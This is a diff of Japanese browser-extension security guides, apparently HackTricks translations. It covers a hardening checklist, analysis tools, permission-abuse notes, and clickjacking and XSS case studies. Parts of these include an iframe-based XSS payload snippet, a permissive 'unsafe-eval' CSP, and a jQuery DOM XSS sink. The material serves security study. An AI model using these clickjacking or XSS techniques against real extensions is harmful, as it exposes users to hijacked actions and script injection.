拡張機能を特定するには、IDを名前にマッピングできます:
|
||||||
|
|
||||||
- `about:extensions`ページで開発者モードを有効にして、各拡張機能のIDを確認します。
|
- `about:extensions`ページで開発者モードを有効にすると、各拡張機能のIDが表示されます。
|
||||||
- 各拡張機能のフォルダ内の`manifest.json`ファイルには、拡張機能を特定するのに役立つ読みやすい`name`フィールドがあります。
|
- 各拡張機能のフォルダ内の`manifest.json`ファイルには、拡張機能を特定するのに役立つ読みやすい`name`フィールドがあります。
|
||||||
|
|
||||||
### ファイルアーカイバまたはアンパッカーを使用する
|
### ファイルアーカイバまたはアンパッカーを使用する
|
||||||
@ -640,18 +640,18 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
|||||||
|
|
||||||
ブラウザ拡張機能は**限られた攻撃面**を持っていますが、その中には**脆弱性**や**強化の可能性**が含まれている場合があります。以下は最も一般的なものです:
|
ブラウザ拡張機能は**限られた攻撃面**を持っていますが、その中には**脆弱性**や**強化の可能性**が含まれている場合があります。以下は最も一般的なものです:
|
||||||
|
|
||||||
- [ ] **要求される** **`permissions`** を可能な限り**制限**する
|
- [ ] **要求される** **`permissions`** を可能な限り制限する
|
||||||
- [ ] **`host_permissions`** を可能な限り**制限**する
|
- [ ] **`host_permissions`** を可能な限り制限する
|
||||||
- [ ] **強力な** **`content_security_policy`** を使用する
|
- [ ] **強力な** **`content_security_policy`** を使用する
|
||||||
- [ ] **`externally_connectable`** を可能な限り**制限**する。必要がない場合はデフォルトで残さず、**`{}`** を指定する
|
- [ ] **`externally_connectable`** を可能な限り制限する。必要がない場合はデフォルトで残さず、**`{}`** を指定する
|
||||||
- [ ] **XSSまたは乗っ取りに脆弱なURL**がここに記載されている場合、攻撃者は**バックグラウンドスクリプトに直接メッセージを送信**できる。非常に強力なバイパス。
|
- [ ] **XSSまたは乗っ取りに脆弱なURL**がここに記載されている場合、攻撃者は**バックグラウンドスクリプトに直接メッセージを送信できる**。非常に強力なバイパスです。
|
||||||
- [ ] **`web_accessible_resources`** を可能な限り**制限**する。可能であれば空にする。
|
- [ ] **`web_accessible_resources`** を可能な限り制限する。可能であれば空にする。
|
||||||
- [ ] **`web_accessible_resources`** がない場合、[**ClickJacking**](browext-clickjacking.md)を確認する
|
- [ ] **`web_accessible_resources`** がない場合、[**ClickJacking**](browext-clickjacking.md) を確認する
|
||||||
- [ ] **拡張機能**から**ウェブページ**への**通信**が発生する場合、[**XSS**](browext-xss-example.md) **脆弱性**が通信によって引き起こされていないか確認する。
|
- [ ] **拡張機能**から**ウェブページ**への**通信**が発生する場合、通信によって引き起こされる[**XSS**](browext-xss-example.md) **脆弱性**を確認する。
|
||||||
- [ ] Post Messagesが使用されている場合、[**Post Messageの脆弱性**](../postmessage-vulnerabilities/)**を確認する。**
|
- [ ] Post Messagesが使用されている場合、[**Post Messageの脆弱性**](../postmessage-vulnerabilities/)**を確認する。**
|
||||||
- [ ] **Content ScriptがDOMの詳細にアクセス**する場合、ウェブによって**変更**されると**XSSを導入していないか**確認する
|
- [ ] **Content ScriptがDOMの詳細にアクセスする**場合、ウェブによって**変更される**と**XSSを導入しない**ことを確認する
|
||||||
- [ ] この通信が**Content Script -> バックグラウンドスクリプト通信**にも関与している場合は特に強調する
|
- [ ] この通信が**Content Script -> バックグラウンドスクリプト通信**にも関与している場合は特に強調する
|
||||||
- [ ] バックグラウンドスクリプトが**ネイティブメッセージング**を介して通信している場合、通信が安全でサニタイズされているか確認する
|
- [ ] バックグラウンドスクリプトが**ネイティブメッセージング**を介して通信している場合、通信が安全でサニタイズされていることを確認する
|
||||||
- [ ] **機密情報は**ブラウザ拡張機能の**コード内に保存すべきではない**
|
- [ ] **機密情報は**ブラウザ拡張機能の**コード内に保存すべきではない**
|
||||||
- [ ] **機密情報は**ブラウザ拡張機能の**メモリ内に保存すべきではない**
|
- [ ] **機密情報は**ブラウザ拡張機能の**メモリ内に保存すべきではない**
|
||||||
- [ ] **機密情報は****ファイルシステムに無防備に保存すべきではない**
|
- [ ] **機密情報は****ファイルシステムに無防備に保存すべきではない**
|
||||||
@ -668,10 +668,10 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
|||||||
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **ビューワー**:拡張機能のマニフェストのJSON整形バージョンを表示します。
|
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **ビューワー**:拡張機能のマニフェストのJSON整形バージョンを表示します。
|
||||||
- **フィンガープリンター分析**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) の検出とChrome拡張機能フィンガープリンティングJavaScriptの自動生成。
|
- **フィンガープリンター分析**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) の検出とChrome拡張機能フィンガープリンティングJavaScriptの自動生成。
|
||||||
- **潜在的なClickjacking分析**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) ディレクティブが設定された拡張機能のHTMLページの検出。これらはページの目的に応じてClickjackingに脆弱である可能性があります。
|
- **潜在的なClickjacking分析**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) ディレクティブが設定された拡張機能のHTMLページの検出。これらはページの目的に応じてClickjackingに脆弱である可能性があります。
|
||||||
- **権限警告ビューワー**:ユーザーが拡張機能をインストールしようとしたときに表示されるChromeの権限プロンプト警告のリストを表示します。
|
- **権限警告ビューワー**:ユーザーが拡張機能をインストールしようとしたときに表示されるすべてのChrome権限プロンプト警告のリストを表示します。
|
||||||
- **危険な関数**:攻撃者によって悪用される可能性のある危険な関数の場所を示します(例:innerHTML、chrome.tabs.executeScriptなど)。
|
- **危険な関数**:攻撃者によって悪用される可能性のある危険な関数の場所を示します(例:innerHTML、chrome.tabs.executeScriptなど)。
|
||||||
- **エントリポイント**:拡張機能がユーザー/外部入力を受け取る場所を示します。これは拡張機能の表面積を理解し、悪意のあるデータを拡張機能に送信する潜在的なポイントを探すのに役立ちます。
|
- **エントリポイント**:拡張機能がユーザー/外部入力を受け取る場所を示します。これは、拡張機能の表面積を理解し、悪意のあるデータを拡張機能に送信する潜在的なポイントを探すのに役立ちます。
|
||||||
- 危険な関数とエントリポイントのスキャナーは、生成されたアラートに対して以下を持っています:
|
- 危険な関数とエントリポイントスキャナーは、生成されたアラートに対して以下を持っています:
|
||||||
- アラートを引き起こした関連コードスニペットと行。
|
- アラートを引き起こした関連コードスニペットと行。
|
||||||
- 問題の説明。
|
- 問題の説明。
|
||||||
- コードを含む完全なソースファイルを表示するための「ファイルを表示」ボタン。
|
- コードを含む完全なソースファイルを表示するための「ファイルを表示」ボタン。
|
||||||
@ -681,15 +681,15 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
|||||||
- 脆弱な行がJavaScriptファイルにある場合、それが含まれているすべてのページのパスとこれらのページのタイプ、[web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) ステータス。
|
- 脆弱な行がJavaScriptファイルにある場合、それが含まれているすべてのページのパスとこれらのページのタイプ、[web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) ステータス。
|
||||||
- **コンテンツセキュリティポリシー(CSP)アナライザーおよびバイパスチェッカー**:これにより、拡張機能のCSPの弱点が指摘され、ホワイトリストに登録されたCDNなどによるCSPのバイパスの潜在的な方法が明らかになります。
|
- **コンテンツセキュリティポリシー(CSP)アナライザーおよびバイパスチェッカー**:これにより、拡張機能のCSPの弱点が指摘され、ホワイトリストに登録されたCDNなどによるCSPのバイパスの潜在的な方法が明らかになります。
|
||||||
- **既知の脆弱なライブラリ**:これは[Retire.js](https://retirejs.github.io/retire.js/)を使用して、既知の脆弱なJavaScriptライブラリの使用をチェックします。
|
- **既知の脆弱なライブラリ**:これは[Retire.js](https://retirejs.github.io/retire.js/)を使用して、既知の脆弱なJavaScriptライブラリの使用をチェックします。
|
||||||
- 拡張機能とフォーマットされたバージョンをダウンロード。
|
- 拡張機能とフォーマットされたバージョンをダウンロードします。
|
||||||
- 元の拡張機能をダウンロード。
|
- 元の拡張機能をダウンロードします。
|
||||||
- 拡張機能の美化されたバージョンをダウンロード(自動整形されたHTMLとJavaScript)。
|
- 拡張機能の美化されたバージョンをダウンロードします(自動整形されたHTMLとJavaScript)。
|
||||||
- スキャン結果の自動キャッシュ。拡張機能のスキャンを初めて実行する際にはかなりの時間がかかります。しかし、拡張機能が更新されていない限り、2回目は結果がキャッシュされるため、ほぼ瞬時に完了します。
|
- スキャン結果の自動キャッシュ。拡張機能のスキャンを初めて実行する際にはかなりの時間がかかります。しかし、拡張機能が更新されていない限り、2回目は結果がキャッシュされるため、ほぼ瞬時に完了します。
|
||||||
- リンク可能なレポートURL。誰かにtarnishによって生成された拡張機能レポートへのリンクを簡単に提供できます。
|
- リンク可能なレポートURL。誰かにTarnishによって生成された拡張機能レポートへのリンクを簡単に提供します。
|
||||||
|
|
||||||
### [Neto](https://github.com/elevenpaths/neto)
|
### [Neto](https://github.com/elevenpaths/neto)
|
||||||
|
|
||||||
プロジェクトNetoは、FirefoxやChromeなどの有名なブラウザのブラウザプラグインや拡張機能の隠れた機能を分析し、解明するために考案されたPython 3パッケージです。`manifest.json`、ローカリゼーションフォルダー、またはJavaScriptおよびHTMLソースファイルなどの関連リソースからこれらの機能を抽出するために、パッケージ化されたファイルを解凍するプロセスを自動化します。
|
プロジェクトNetoは、FirefoxやChromeなどの有名なブラウザのブラウザプラグインや拡張機能の隠れた機能を分析し、解明するために考案されたPython 3パッケージです。`manifest.json`、ローカリゼーションフォルダー、またはJavaScriptおよびHTMLソースファイルなどの関連リソースからこれらの機能を抽出するために、パッケージ化されたファイルの解凍プロセスを自動化します。
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
|
@ -13,7 +13,7 @@ ClickJackingが何か分からない場合は、以下を確認してくださ
|
|||||||
|
|
||||||
拡張機能には**`manifest.json`**ファイルが含まれており、そのJSONファイルには`web_accessible_resources`フィールドがあります。以下は[Chromeのドキュメント](https://developer.chrome.com/extensions/manifest/web_accessible_resources)に記載されている内容です:
|
拡張機能には**`manifest.json`**ファイルが含まれており、そのJSONファイルには`web_accessible_resources`フィールドがあります。以下は[Chromeのドキュメント](https://developer.chrome.com/extensions/manifest/web_accessible_resources)に記載されている内容です:
|
||||||
|
|
||||||
> これらのリソースは、URL **`chrome-extension://[PACKAGE ID]/[PATH]`**を介してウェブページで利用可能になり、これは**`extension.getURL method`**を使用して生成できます。許可されたリソースは適切なCORSヘッダーで提供されるため、XHRなどのメカニズムを介して利用可能です。[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
|
> これらのリソースは、URL **`chrome-extension://[PACKAGE ID]/[PATH]`**を介してウェブページで利用可能になり、これは**`extension.getURL method`**で生成できます。許可されたリソースは適切なCORSヘッダーで提供されるため、XHRなどのメカニズムを介して利用可能です。[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
|
||||||
|
|
||||||
ブラウザ拡張機能の**`web_accessible_resources`**は、単にウェブを介してアクセス可能なだけでなく、拡張機能の固有の権限で動作します。これは、以下のことが可能であることを意味します:
|
ブラウザ拡張機能の**`web_accessible_resources`**は、単にウェブを介してアクセス可能なだけでなく、拡張機能の固有の権限で動作します。これは、以下のことが可能であることを意味します:
|
||||||
|
|
||||||
@ -32,7 +32,7 @@ ClickJackingが何か分からない場合は、以下を確認してくださ
|
|||||||
"icons/*"
|
"icons/*"
|
||||||
]
|
]
|
||||||
```
|
```
|
||||||
この設定は潜在的なセキュリティ問題を引き起こしました。具体的には、ブラウザのPrivacyBadgerアイコンとのインタラクション時にレンダリングされる`skin/popup.html`ファイルが`iframe`内に埋め込まれる可能性があります。この埋め込みは、ユーザーを騙して「このウェブサイトのPrivacyBadgerを無効にする」を誤ってクリックさせるために悪用される可能性があります。このような行動は、PrivacyBadgerの保護を無効にし、ユーザーをより多くのトラッキングにさらすことで、ユーザーのプライバシーを侵害します。このエクスプロイトの視覚的デモは、[**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)で提供されているClickJackingのビデオ例で見ることができます。
|
この設定は潜在的なセキュリティ問題を引き起こしました。具体的には、ブラウザのPrivacyBadgerアイコンとのインタラクション時にレンダリングされる`skin/popup.html`ファイルが`iframe`内に埋め込まれる可能性があります。この埋め込みは、ユーザーを欺いて「このウェブサイトのPrivacyBadgerを無効にする」を誤ってクリックさせるために悪用される可能性があります。このような行動は、PrivacyBadgerの保護を無効にし、ユーザーを追跡の増加にさらすことで、ユーザーのプライバシーを侵害します。このエクスプロイトの視覚的デモは、[**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm)で提供されているClickJackingビデオ例で見ることができます。
|
||||||
|
|
||||||
この脆弱性に対処するために、簡単な解決策が実施されました:`web_accessible_resources`のリストから`/skin/*`を削除しました。この変更により、`skin/`ディレクトリのコンテンツにウェブアクセス可能なリソースを通じてアクセスまたは操作できないようにすることで、リスクが効果的に軽減されました。
|
この脆弱性に対処するために、簡単な解決策が実施されました:`web_accessible_resources`のリストから`/skin/*`を削除しました。この変更により、`skin/`ディレクトリのコンテンツにウェブアクセス可能なリソースを通じてアクセスまたは操作できないようにすることで、リスクが効果的に軽減されました。
|
||||||
|
|
||||||
@ -75,11 +75,11 @@ src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
|
|||||||
```
|
```
|
||||||
## Metamaskの例
|
## Metamaskの例
|
||||||
|
|
||||||
A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)。この場合、Metamaskは、アクセスに使用されるプロトコルが**`https:`**または**`http:`**であることを確認することで脆弱性を修正しました(例えば**`chrome:`**ではありません):
|
A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)。この場合、Metamaskは、アクセスに使用されるプロトコルが**`https:`**または**`http:`**(例えば**`chrome:`**ではない)であることを確認することで脆弱性を修正しました:
|
||||||
|
|
||||||
<figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Metamask拡張機能で修正された別のClickJacking**は、ユーザーがページがフィッシングの疑いがある場合に**ホワイトリストに追加するためにクリック**できたことです。これは`“web_accessible_resources”: [“inpage.js”, “phishing.html”]`によるものでした。そのページはClickjackingに対して脆弱であったため、攻撃者は被害者が気づかずにホワイトリストに追加するようにクリックさせるために、何か普通のものを表示して悪用することができ、その後フィッシングページに戻ることができました。
|
**Metamask拡張機能で修正された別のClickJacking**は、ユーザーが`“web_accessible_resources”: [“inpage.js”, “phishing.html”]`のためにフィッシングの疑いがあるページで**Click to whitelist**できたことです。そのページはClickjackingに対して脆弱であったため、攻撃者は被害者が気づかずにホワイトリストに追加するようにクリックさせるために、何か普通のものを表示して利用することができ、その後フィッシングページに戻ることができました。
|
||||||
|
|
||||||
## Steam Inventory Helperの例
|
## Steam Inventory Helperの例
|
||||||
|
|
||||||
|
@ -14,7 +14,7 @@ Permissionsは拡張機能の**`manifest.json`**ファイルで**`permissions`**
|
|||||||
|
|
||||||
<figure><img src="../../images/image (18).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../images/image (18).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**Chromiumブラウザ拡張機能が要求できる権限の完全なリストはこちら**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions)と、[**Firefox拡張機能の完全なリストはこちら**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**。**
|
[**Chromiumブラウザ拡張機能が要求できる権限の完全なリストはこちら**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions)で見つけることができ、[**Firefox拡張機能の完全なリストはこちら**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**です。**
|
||||||
|
|
||||||
### `host_permissions`
|
### `host_permissions`
|
||||||
|
|
||||||
@ -66,7 +66,7 @@ Permissionsは拡張機能の**`manifest.json`**ファイルで**`permissions`**
|
|||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> 拡張は、いつでも任意の数のタブを作成できます。
|
> 拡張は、いつでも任意の数のタブを作成できます。
|
||||||
|
|
||||||
`tabs.create()` の可能なパラメータを確認すると、その機能が `window.open()` が制御できる範囲をはるかに超えていることに気付くでしょう。そして、FirefoxはこのAPIで `data:` URI の使用を許可していませんが、Chromeにはそのような保護がありません。**このようなURIのトップレベルでの使用は** [**フィッシングの悪用のために禁止されています**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**。**
|
`tabs.create()` の可能なパラメータを確認すると、その機能が `window.open()` が制御できる範囲をはるかに超えていることに気付くでしょう。そして、FirefoxはこのAPIで `data:` URI の使用を許可していませんが、Chromeにはそのような保護がありません。**このようなURIのトップレベルでの使用は、** [**フィッシングに悪用されたため禁止されています**](https://bugzilla.mozilla.org/show_bug.cgi?id=1331351)**。**
|
||||||
|
|
||||||
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) は `tabs.create()` に非常に似ていますが、**既存のタブを修正します。** したがって、悪意のある拡張は、例えば任意の広告ページをあなたのタブの1つに読み込むことができ、対応するタブをアクティブにすることもできます。
|
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update) は `tabs.create()` に非常に似ていますが、**既存のタブを修正します。** したがって、悪意のある拡張は、例えば任意の広告ページをあなたのタブの1つに読み込むことができ、対応するタブをアクティブにすることもできます。
|
||||||
|
|
||||||
@ -75,19 +75,19 @@ Permissionsは拡張機能の**`manifest.json`**ファイルで**`permissions`**
|
|||||||
ウェブサイトが特別な権限を要求できることはご存知でしょう。例えば、ウェブカメラ(ビデオ会議ツール)や地理的位置(地図)にアクセスするためです。これは悪用の可能性が大きい機能であり、ユーザーは毎回これを確認する必要があります。
|
ウェブサイトが特別な権限を要求できることはご存知でしょう。例えば、ウェブカメラ(ビデオ会議ツール)や地理的位置(地図)にアクセスするためです。これは悪用の可能性が大きい機能であり、ユーザーは毎回これを確認する必要があります。
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> ブラウザ拡張ではそうではありません。**ブラウザ拡張が** [**ウェブカメラやマイクへのアクセスを要求する場合**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**、一度だけ許可を求める必要があります。**
|
> ブラウザ拡張ではそうではありません。**ブラウザ拡張が** [**ウェブカメラやマイクへのアクセスを要求する場合**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**、一度だけ権限を求める必要があります。**
|
||||||
|
|
||||||
通常、拡張はインストール直後にこれを行います。このプロンプトが受け入れられると、**ウェブカメラへのアクセスはいつでも可能**になり、ユーザーがこの時点で拡張と対話していなくても可能です。はい、ユーザーは拡張が本当にウェブカメラへのアクセスを必要とする場合にのみこのプロンプトを受け入れます。しかし、その後は拡張が何かを秘密裏に録画しないことを信頼しなければなりません。
|
通常、拡張はインストール直後にこれを行います。このプロンプトが受け入れられると、**ウェブカメラへのアクセスはいつでも可能になります。** ユーザーがこの時点で拡張と対話していなくてもです。はい、ユーザーは拡張が本当にウェブカメラへのアクセスを必要とする場合にのみこのプロンプトを受け入れます。しかし、その後は拡張が何かを秘密裏に録画しないことを信頼しなければなりません。
|
||||||
|
|
||||||
[あなたの正確な地理的位置](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) や [クリップボードの内容](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API) へのアクセスがある場合、明示的に許可を与える必要はまったくありません。**拡張は単に `geolocation` または `clipboard` を** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **に追加します。** これらのアクセス権は、拡張がインストールされるときに暗黙的に付与されます。したがって、これらの特権を持つ悪意のあるまたは侵害された拡張は、あなたが何も気づかないうちにあなたの移動プロファイルを作成したり、コピーされたパスワードのためにクリップボードを監視したりすることができます。
|
[あなたの正確な地理的位置](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) や [クリップボードの内容](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API) へのアクセスについては、明示的に権限を付与する必要はまったくありません。**拡張は単に `geolocation` または `clipboard` を** [**permissions entry**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **に追加します。** これらのアクセス権は、拡張がインストールされるときに暗黙的に付与されます。したがって、これらの特権を持つ悪意のあるまたは侵害された拡張は、あなたが何も気づかないうちにあなたの移動プロファイルを作成したり、コピーされたパスワードのためにクリップボードを監視したりすることができます。
|
||||||
|
|
||||||
**`history`** キーワードを拡張マニフェストの [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) に追加すると、**[history API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history)** へのアクセスが付与されます。これにより、ユーザーの全ブラウジング履歴を一度に取得でき、ユーザーがこれらのウェブサイトを再度訪れるのを待つ必要がありません。
|
**`history`** キーワードを拡張マニフェストの [permissions entry](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) に追加すると、**[history API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history)** へのアクセスが付与されます。これにより、ユーザーの全ブラウジング履歴を一度に取得でき、ユーザーがこれらのウェブサイトを再度訪れるのを待つ必要がありません。
|
||||||
|
|
||||||
**`bookmarks`** **権限** も同様の悪用の可能性があり、これにより**[bookmarks API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks)** を介してすべてのブックマークを読み取ることができます。
|
**`bookmarks`** **権限** も同様の悪用の可能性があり、これにより**すべてのブックマークを** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) **を介して読み取ることができます。**
|
||||||
|
|
||||||
### ストレージ権限 <a href="#the-storage-permission" id="the-storage-permission"></a>
|
### ストレージ権限 <a href="#the-storage-permission" id="the-storage-permission"></a>
|
||||||
|
|
||||||
拡張のストレージは、非常に似たキー-バリューコレクションであり、[localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) を使用できる任意のウェブサイトと非常に似ています。したがって、ここに機密情報を保存すべきではありません。
|
拡張のストレージは、非常に似たキーと値のコレクションであり、[localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) を使用できる任意のウェブサイトと非常に似ています。したがって、ここに機密情報を保存すべきではありません。
|
||||||
|
|
||||||
しかし、広告会社もこのストレージを悪用する可能性があります。
|
しかし、広告会社もこのストレージを悪用する可能性があります。
|
||||||
|
|
||||||
@ -97,9 +97,9 @@ Permissionsは拡張機能の**`manifest.json`**ファイルで**`permissions`**
|
|||||||
|
|
||||||
## 予防 <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
|
## 予防 <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
|
||||||
|
|
||||||
Googleの開発者のポリシーは、拡張がその機能に必要な以上の特権を要求することを明示的に禁止しており、過剰な権限要求を効果的に軽減しています。ブラウザ拡張がこの境界を越えた例は、アドオンストアではなくブラウザ自体に付属して配布されたことです。
|
Googleの開発者のポリシーは、拡張が機能に必要な以上の特権を要求することを明示的に禁止しており、過剰な権限要求を効果的に軽減しています。ブラウザ拡張がこの境界を越えた例は、アドオンストアではなくブラウザ自体に付属して配布されたことです。
|
||||||
|
|
||||||
ブラウザは、拡張特権の悪用をさらに抑制できます。例えば、Chromeの [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) および [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIは、画面録画に使用され、悪用を最小限に抑えるように設計されています。tabCapture APIは、拡張アイコンをクリックするなどの直接的なユーザー操作を通じてのみアクティブ化でき、desktopCaptureは録画するウィンドウのユーザー確認を必要とし、秘密裏の録画活動を防ぎます。
|
ブラウザは、拡張特権の悪用をさらに抑制できます。例えば、Chromeの [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) および [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIは、画面録画に使用され、悪用を最小限に抑えるように設計されています。tabCapture APIは、拡張アイコンをクリックするなどの直接的なユーザーの操作を通じてのみアクティブ化でき、desktopCaptureは録画するウィンドウのユーザー確認を必要とし、秘密裏の録画活動を防ぎます。
|
||||||
|
|
||||||
しかし、セキュリティ対策を強化すると、拡張の柔軟性とユーザーフレンドリーさが低下することがよくあります。[activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) はこのトレードオフを示しています。これは、拡張がインターネット全体にわたってホスト特権を要求する必要を排除するために導入され、ユーザーによって明示的にアクティブ化された場合にのみ、拡張が現在のタブにアクセスできるようにします。このモデルは、ユーザーが開始するアクションを必要とする拡張には効果的ですが、自動または事前のアクションを必要とする拡張には不十分であり、便利さと即時の応答性を損ないます。
|
しかし、セキュリティ対策を強化すると、拡張の柔軟性とユーザーフレンドリーさが低下することがよくあります。[activeTab permission](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) はこのトレードオフを示しています。これは、拡張がインターネット全体にわたってホスト特権を要求する必要を排除するために導入され、ユーザーによって明示的にアクティブ化された場合にのみ、拡張が現在のタブにアクセスできるようにします。このモデルは、ユーザーが開始するアクションを必要とする拡張には効果的ですが、自動または事前のアクションを必要とする拡張には不十分であり、便利さと即時の応答性を損ないます。
|
||||||
|
|
||||||
|
@ -2,9 +2,9 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Iframeを通じたクロスサイトスクリプティング (XSS)
|
## Iframeを通じたクロスサイトスクリプティング(XSS)
|
||||||
|
|
||||||
このセットアップでは、**コンテンツスクリプト**が実装され、Iframeをインスタンス化し、Iframeのソースとしてクエリパラメータを含むURLを組み込んでいます:
|
このセットアップでは、**コンテンツスクリプト**が実装され、Iframeをインスタンス化し、Iframeのソースとしてクエリパラメータを含むURLを組み込んでいます:
|
||||||
```javascript
|
```javascript
|
||||||
chrome.storage.local.get("message", (result) => {
|
chrome.storage.local.get("message", (result) => {
|
||||||
let constructedURL =
|
let constructedURL =
|
||||||
@ -40,7 +40,7 @@ let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`
|
|||||||
document.querySelector("iframe").src = maliciousURL
|
document.querySelector("iframe").src = maliciousURL
|
||||||
}, 1000)
|
}, 1000)
|
||||||
```
|
```
|
||||||
過度に許可されたコンテンツセキュリティポリシーは、次のようになります:
|
過度に許可されたコンテンツセキュリティポリシーは、次のようになります:
|
||||||
```json
|
```json
|
||||||
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
|
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
|
||||||
```
|
```
|
||||||
@ -56,7 +56,7 @@ document.body.append(newFrame)
|
|||||||
```
|
```
|
||||||
## DOMベースのXSS + ClickJacking
|
## DOMベースのXSS + ClickJacking
|
||||||
|
|
||||||
この例は、[元の投稿の要約](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)から取られました。
|
この例は[元の投稿の要約](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)から取られました。
|
||||||
|
|
||||||
コアの問題は、**`/html/bookmarks.html`**にあるDOMベースのクロスサイトスクリプティング(XSS)脆弱性から生じます。問題のあるJavaScriptは、**`bookmarks.js`**の一部で、以下に詳述されています:
|
コアの問題は、**`/html/bookmarks.html`**にあるDOMベースのクロスサイトスクリプティング(XSS)脆弱性から生じます。問題のあるJavaScriptは、**`bookmarks.js`**の一部で、以下に詳述されています:
|
||||||
```javascript
|
```javascript
|
||||||
@ -80,9 +80,9 @@ persistData()
|
|||||||
```
|
```
|
||||||
このスニペットは、**`txtName`** 入力フィールドから **値** を取得し、**文字列連結を使用してHTMLを生成** し、それをjQueryの `.append()` 関数を使用してDOMに追加します。
|
このスニペットは、**`txtName`** 入力フィールドから **値** を取得し、**文字列連結を使用してHTMLを生成** し、それをjQueryの `.append()` 関数を使用してDOMに追加します。
|
||||||
|
|
||||||
通常、Chrome拡張機能のコンテンツセキュリティポリシー (CSP) は、そのような脆弱性を防ぎます。しかし、**‘unsafe-eval’ によるCSPの緩和** と jQueryのDOM操作メソッドの使用(これらはDOM挿入時にスクリプトを [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) に渡すために [`globalEval()`](https://api.jquery.com/jquery.globaleval/) を使用します)により、悪用は依然として可能です。
|
